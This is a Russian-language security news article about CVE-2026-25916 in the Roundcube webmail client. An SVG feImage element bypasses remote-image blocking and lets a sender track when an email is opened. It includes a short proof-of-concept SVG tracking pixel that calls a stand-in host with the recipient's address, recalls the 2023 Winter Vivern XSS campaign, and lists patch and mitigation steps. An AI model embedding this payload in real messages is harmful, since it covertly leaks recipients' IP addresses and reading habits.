Угрозы

Невидимый трекинг через SVG: как Roundcube «сливает» данные пользователей вопреки блокировке картинок

Артем Сафонов
By Артем Сафонов , Аналитик угроз
Невидимый трекинг через SVG: как Roundcube «сливает» данные пользователей вопреки блокировке картинок
Image by Anonhaven

Исследователь под псевдонимом nullcathedral обнаружил критическую уязвимость в популярном open-source почтовом клиенте Roundcube, позволяющую обходить стандартные механизмы защиты приватности. Уязвимость CVE-2026-25916 дает злоумышленникам возможность отслеживать факт открытия письма, определять IP-адрес и время прочтения, даже если пользователь активировал блокировку загрузки внешних изображений.

Почему это критично для российского сегмента

Для отечественного ИТ-рынка RoundCube является одним из самых распространенных open-source webmail-клиентов. После ухода западных SaaS-платформ и облачных гигантов российский бизнес и госсектор массово перешли на собственную почтовую инфраструктуру, где Roundcube стал основным решением. Он предустановлен у крупнейших хостинг-провайдеров, таких как Timeweb, Reg.ru, Beget и Majordomo. Для организаций с повышенными требованиями к конфиденциальности эта уязвимость становится прямым каналом утечки метаданных о коммуникациях.

Механика атаки: слепое пятно в SVG-фильтрах

Блокировка удаленного контента, базовая линия обороны любого почтового клиента. Она предотвращает отправку GET-запроса на сервер отправителя при рендеринге письма. Однако спецификация SVG оказалась слишком громоздкой для корректной санитизации.

Проблема крылась в компоненте rcube_washtml. В то время как санитайзер исправно блокировал стандартные теги img, а также SVG-элементы image и use, специфический элемент feImage остался без должной проверки.

Технический разбор

Элемент feImage используется в SVG-фильтрах для загрузки внешних графических ресурсов, которые затем применяются для операций смешивания или наложения. В Roundcube функция is_image_attribute() проверяла атрибуты src и href для большинства тегов, но в случае с feImage управление передавалось функции wash_link(). Последняя считала ссылку обычным кликабельным URL, а не ресурсом для автоматической загрузки, и пропускала её.

Пример вредоносного PoC-кода:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://tracker.com/[email protected]" 
               width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>

Злоумышленник внедряет этот код в тело письма. Браузер при рендеринге страницы автоматически обрабатывает фильтр и делает запрос на сервер атакующего. При этом пользователь не видит ни предупреждений о заблокированном контенте, ни самой картинки (она имеет размер 1x1 пиксель и вынесена за пределы видимой области).

Что попадает в руки злоумышленника:

  • IP-адрес получателя (позволяет вычислить геолокацию и провайдера).
  • User-Agent (сведения об операционной системе и браузере для подготовки последующих эксплойтов).
  • Точный тайминг (подтверждение активности почтового ящика и паттернов поведения жертвы).

История Winter Vivern

Ситуация с SVG в Roundcube имеет неприятный исторический контекст. В октябре 2023 года русскоязычная APT-группировка Winter Vivern активно эксплуатировала уязвимость CVE-2023-5631. Тот инцидент также был связан с недостаточной фильтрацией SVG-вложений, что позволяло внедрять вредоносный JavaScript (XSS) и красть сессионные куки правительственных чиновников в Европе и Центральной Азии. Новая находка nullcathedral подтверждает, что обработка векторной графики остается слабым местом веб-интерфейсов.

Меры защиты для администраторов

Разработчики оперативно выпустили патчи 8 февраля 2026 года. Исправление заключается в добавлении feimage в список проверяемых тегов внутри функции is_image_attribute(), что заставляет систему обрабатывать такие ссылки через строгий фильтр wash_uri().

  1. Срочное обновление: Перейдите на версии 1.5.13 или 1.6.13.
  2. Настройка CSP: Внедрите строгую политику Content Security Policy, ограничивающую возможность исходящих соединений к недоверенным доменам из интерфейса почты.
  3. Анализ логов: Проверьте логи веб-сервера на предмет аномальных GET-запросов к внешним ресурсам, инициированных в момент открытия писем пользователями.
  4. Временная мера: Если обновление невозможно прямо сейчас, рассмотрите возможность временного отключения рендеринга SVG-контента на уровне прокси-сервера или почтового шлюза.

Уязвимость CVE-2026-25916, это наглядный пример того, как избыточная сложность веб-стандартов работает против безопасности. Для современных APT-групп возможность скрытого трекинга является бесценным инструментом на этапе разведки.

Пока спецификации HTML и SVG продолжают разрастаться, мы будем регулярно видеть подобные обход. Единственный надежный путь, переход к архитектуре с глубокой инспекцией и пересборкой контента (CDR), где любой входящий документ или письмо деконструируется и собирается заново в гарантированно безопасном виде.

CVE-2026-25916 Roundcube Скрытый трекинг писем Уязвимости Уязвимость Roundcube